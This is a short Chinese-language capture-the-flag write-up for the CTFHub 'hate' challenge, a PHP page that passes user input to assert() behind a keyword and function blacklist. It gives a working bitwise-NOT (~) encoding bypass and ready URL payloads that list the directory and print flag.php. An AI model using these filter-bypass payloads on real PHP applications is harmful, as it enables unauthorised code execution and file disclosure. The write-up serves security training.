靶場環境:https://www.ctfhub.com/#/challenge 上面搜索hate
打開網頁:
<?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); } $blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code); }
題目過濾:1.過濾相關關鍵字 2.過濾函數 方法1:異或 方法2:取反 方法3:數組 方法4:PCRE 方法5:換行符 ............
利用取反繞過過濾 Payload: <?php echo urlencode(~'print_r'); //urlencode url編碼 ~ 取反 echo "\n"; echo urlencode(~'scandir'); echo "\n"; echo urlencode(~'.'); echo "\n"; echo urlencode(~'highlight_file'); echo "\n"; echo urlencode(~'flag.php'); ?> print_r(scandir('.')) //打印當前目錄下的文件 /?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1))) highlight_file('flag.php') ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))
顯示flag.php
highlight_file('flag.php') ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}